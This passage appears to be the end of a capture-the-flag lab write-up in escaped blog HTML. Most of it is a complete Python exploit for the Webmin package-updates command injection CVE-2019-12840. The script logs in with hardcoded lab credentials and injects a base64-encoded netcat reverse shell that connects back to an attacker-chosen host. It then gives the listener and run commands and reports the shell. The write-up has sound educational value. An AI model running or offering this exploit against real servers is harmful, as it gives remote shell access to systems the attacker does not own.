&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>username &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;Matt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>password &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;computer2008&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">def&lt;/span> &lt;span style="color:#fabd2f">exploit&lt;/span>(rhost: &lt;span style="color:#fabd2f">str&lt;/span>, lhost: &lt;span style="color:#fabd2f">str&lt;/span>, lport: &lt;span style="color:#fabd2f">int&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> session &lt;span style="color:#fe8019">=&lt;/span> requests&lt;span style="color:#fe8019">.&lt;/span>Session()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rhost &lt;span style="color:#fe8019">=&lt;/span> rhost[:&lt;span style="color:#fe8019">-&lt;/span>&lt;span style="color:#d3869b">1&lt;/span>] &lt;span style="color:#fe8019">if&lt;/span> rhost&lt;span style="color:#fe8019">.&lt;/span>endswith(&lt;span style="color:#b8bb26">&amp;#34;/&amp;#34;&lt;/span>) &lt;span style="color:#fe8019">else&lt;/span> rhost
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> login &lt;span style="color:#fe8019">=&lt;/span> session&lt;span style="color:#fe8019">.&lt;/span>post(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rhost &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;/session_login.cgi&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> data&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">f&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;user=&lt;/span>&lt;span style="color:#b8bb26">{&lt;/span>username&lt;span style="color:#b8bb26">}&lt;/span>&lt;span style="color:#b8bb26">&amp;amp;pass=&lt;/span>&lt;span style="color:#b8bb26">{&lt;/span>password&lt;span style="color:#b8bb26">}&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> verify&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#fe8019">False&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> stream&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#fe8019">True&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> allow_redirects&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#fe8019">False&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> proxies&lt;span style="color:#fe8019">=&lt;/span>{&lt;span style="color:#b8bb26">&amp;#34;https&amp;#34;&lt;/span>: &lt;span style="color:#b8bb26">&amp;#34;http://127.0.0.1:8080&amp;#34;&lt;/span>},
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cookies&lt;span style="color:#fe8019">=&lt;/span>{&lt;span style="color:#b8bb26">&amp;#34;sid&amp;#34;&lt;/span>: &lt;span style="color:#b8bb26">&amp;#34;x&amp;#34;&lt;/span>, &lt;span style="color:#b8bb26">&amp;#34;redirect&amp;#34;&lt;/span>: &lt;span style="color:#b8bb26">&amp;#34;1&amp;#34;&lt;/span>, &lt;span style="color:#b8bb26">&amp;#34;testing&amp;#34;&lt;/span>: &lt;span style="color:#b8bb26">&amp;#34;1&amp;#34;&lt;/span>},
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> headers&lt;span style="color:#fe8019">=&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26">&amp;#34;Content-Type&amp;#34;&lt;/span>: &lt;span style="color:#b8bb26">&amp;#34;application/x-www-form-urlencoded&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26">&amp;#34;Referer&amp;#34;&lt;/span>: &lt;span style="color:#b8bb26">f&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;&lt;/span>&lt;span style="color:#b8bb26">{&lt;/span>rhost&lt;span style="color:#b8bb26">}&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> login&lt;span style="color:#fe8019">.&lt;/span>cookies&lt;span style="color:#fe8019">.&lt;/span>get_dict()[&lt;span style="color:#b8bb26">&amp;#34;sid&amp;#34;&lt;/span>] &lt;span style="color:#fe8019">!=&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;x&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">print&lt;/span>(&lt;span style="color:#b8bb26">&amp;#34;[+] Executing code&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">else&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">raise&lt;/span> &lt;span style="color:#fb4934">Exception&lt;/span>(&lt;span style="color:#b8bb26">&amp;#34;Invalid Credentials&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> payload &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#b8bb26">f&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;bash -c &amp;#39;rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&amp;gt;&amp;amp;1|nc &lt;/span>&lt;span style="color:#b8bb26">{&lt;/span>lhost&lt;span style="color:#b8bb26">}&lt;/span>&lt;span style="color:#b8bb26"> &lt;/span>&lt;span style="color:#b8bb26">{&lt;/span>&lt;span style="color:#fabd2f">str&lt;/span>(lport)&lt;span style="color:#b8bb26">}&lt;/span>&lt;span style="color:#b8bb26"> &amp;gt;/tmp/f&amp;#39;&amp;#34;&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>encode(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26">&amp;#34;utf-8&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> payload &lt;span style="color:#fe8019">=&lt;/span> base64&lt;span style="color:#fe8019">.&lt;/span>b64encode(payload)&lt;span style="color:#fe8019">.&lt;/span>decode(&lt;span style="color:#b8bb26">&amp;#34;utf-8&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> data &lt;span style="color:#fe8019">=&lt;/span> [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#b8bb26">&amp;#34;u&amp;#34;&lt;/span>, &lt;span style="color:#b8bb26">&amp;#34;acl/apt&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#b8bb26">&amp;#34;u&amp;#34;&lt;/span>, &lt;span style="color:#b8bb26">f&lt;/span>&lt;span style="color:#b8bb26">&amp;#34; | bash -c &amp;#39;echo &lt;/span>&lt;span style="color:#b8bb26">{&lt;/span>payload&lt;span style="color:#b8bb26">}&lt;/span>&lt;span style="color:#b8bb26"> | base64 -d | bash -i&amp;#39;&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#b8bb26">&amp;#34;ok_top&amp;#34;&lt;/span>, &lt;span style="color:#b8bb26">&amp;#34;Update Selected Packages&amp;#34;&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> update &lt;span style="color:#fe8019">=&lt;/span> session&lt;span style="color:#fe8019">.&lt;/span>post(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> rhost &lt;span style="color:#fe8019">+&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;/package-updates/update.cgi&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> data&lt;span style="color:#fe8019">=&lt;/span>data,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> verify&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#fe8019">False&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> stream&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#fe8019">True&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> allow_redirects&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#fe8019">False&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> proxies&lt;span style="color:#fe8019">=&lt;/span>{&lt;span style="color:#b8bb26">&amp;#34;https&amp;#34;&lt;/span>: &lt;span style="color:#b8bb26">&amp;#34;http://127.0.0.1:8080&amp;#34;&lt;/span>},
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> headers&lt;span style="color:#fe8019">=&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26">&amp;#34;Content-Type&amp;#34;&lt;/span>: &lt;span style="color:#b8bb26">&amp;#34;application/x-www-form-urlencoded&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26">&amp;#34;Referer&amp;#34;&lt;/span>: &lt;span style="color:#b8bb26">f&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;&lt;/span>&lt;span style="color:#b8bb26">{&lt;/span>rhost&lt;span style="color:#b8bb26">}&lt;/span>&lt;span style="color:#b8bb26">/sysinfo.cgi?xnavigation=1&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> },
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> update&lt;span style="color:#fe8019">.&lt;/span>status_code &lt;span style="color:#fe8019">==&lt;/span> &lt;span style="color:#d3869b">200&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">print&lt;/span>(&lt;span style="color:#b8bb26">&amp;#34;[+] Success!&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">except&lt;/span> &lt;span style="color:#fb4934">Exception&lt;/span> &lt;span style="color:#fe8019">as&lt;/span> e:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">raise&lt;/span> (e)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">if&lt;/span> __name__ &lt;span style="color:#fe8019">==&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;__main__&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">def&lt;/span> &lt;span style="color:#fabd2f">error&lt;/span>(msg):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">print&lt;/span>(&lt;span style="color:#b8bb26">f&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;&lt;/span>&lt;span style="color:#b8bb26">\033&lt;/span>&lt;span style="color:#b8bb26">[1;31;40m[Error]:&lt;/span>&lt;span style="color:#b8bb26">\033&lt;/span>&lt;span style="color:#b8bb26">[0m &lt;/span>&lt;span style="color:#b8bb26">{&lt;/span>msg&lt;span style="color:#b8bb26">}&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> parser &lt;span style="color:#fe8019">=&lt;/span> OptionParser()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> parser&lt;span style="color:#fe8019">.&lt;/span>usage &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#b8bb26">&amp;#34;[-] Usage: ./exploit.py --host http://10.10.10.10:10000 --lhost 10.10.10.2 --lport 9999&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> parser&lt;span style="color:#fe8019">.&lt;/span>add_option(&lt;span style="color:#b8bb26">&amp;#34;--host&amp;#34;&lt;/span>, dest&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;rhost&amp;#34;&lt;/span>, &lt;span style="color:#fabd2f">type&lt;/span>&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;string&amp;#34;&lt;/span>, help&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;target host&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> parser&lt;span style="color:#fe8019">.&lt;/span>add_option(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26">&amp;#34;--lhost&amp;#34;&lt;/span>, dest&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;lhost&amp;#34;&lt;/span>, &lt;span style="color:#fabd2f">type&lt;/span>&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;string&amp;#34;&lt;/span>, help&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;attacker ip for reverse shell&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> parser&lt;span style="color:#fe8019">.&lt;/span>add_option(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26">&amp;#34;--lport&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> dest&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;lport&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">type&lt;/span>&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;int&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> help&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;local port for reverse shell&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> default&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#d3869b">6767&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (options, args) &lt;span style="color:#fe8019">=&lt;/span> parser&lt;span style="color:#fe8019">.&lt;/span>parse_args()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">not&lt;/span> options&lt;span style="color:#fe8019">.&lt;/span>rhost &lt;span style="color:#fe8019">or&lt;/span> &lt;span style="color:#fe8019">not&lt;/span> options&lt;span style="color:#fe8019">.&lt;/span>lhost:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">print&lt;/span>(parser&lt;span style="color:#fe8019">.&lt;/span>usage)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> sys&lt;span style="color:#fe8019">.&lt;/span>exit(&lt;span style="color:#d3869b">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exploit(options&lt;span style="color:#fe8019">.&lt;/span>rhost, options&lt;span style="color:#fe8019">.&lt;/span>lhost, options&lt;span style="color:#fe8019">.&lt;/span>lport)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">except&lt;/span> &lt;span style="color:#fb4934">Exception&lt;/span> &lt;span style="color:#fe8019">as&lt;/span> e:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> error(&lt;span style="color:#fabd2f">repr&lt;/span>(e))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I&amp;rsquo;m using &lt;code>penelope&lt;/code> as my reverse shell catcher:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>penelope -p &lt;span style="color:#d3869b">9999&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Ran the script:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>python exploit.py --host https://$IP:10000/ --lhost 10.10.16.30 --lport &lt;span style="color:#d3869b">9999&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And got the reverse shell!&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/postman/Pasted%20image%2020260624180718.webp">&lt;/figure>
&lt;hr>
&lt;h3 id="reference">Reference&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2019-12840">https://nvd.nist.gov/vuln/detail/CVE-2019-12840&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html#ssh">https://hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html#ssh&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/zAbuQasem/CVE-2019-12840/blob/main/exploit.py">https://github.com/zAbuQasem/CVE-2019-12840/blob/main/exploit.py&lt;/a>&lt;/li>
&lt;/ul></content></item></channel></rss>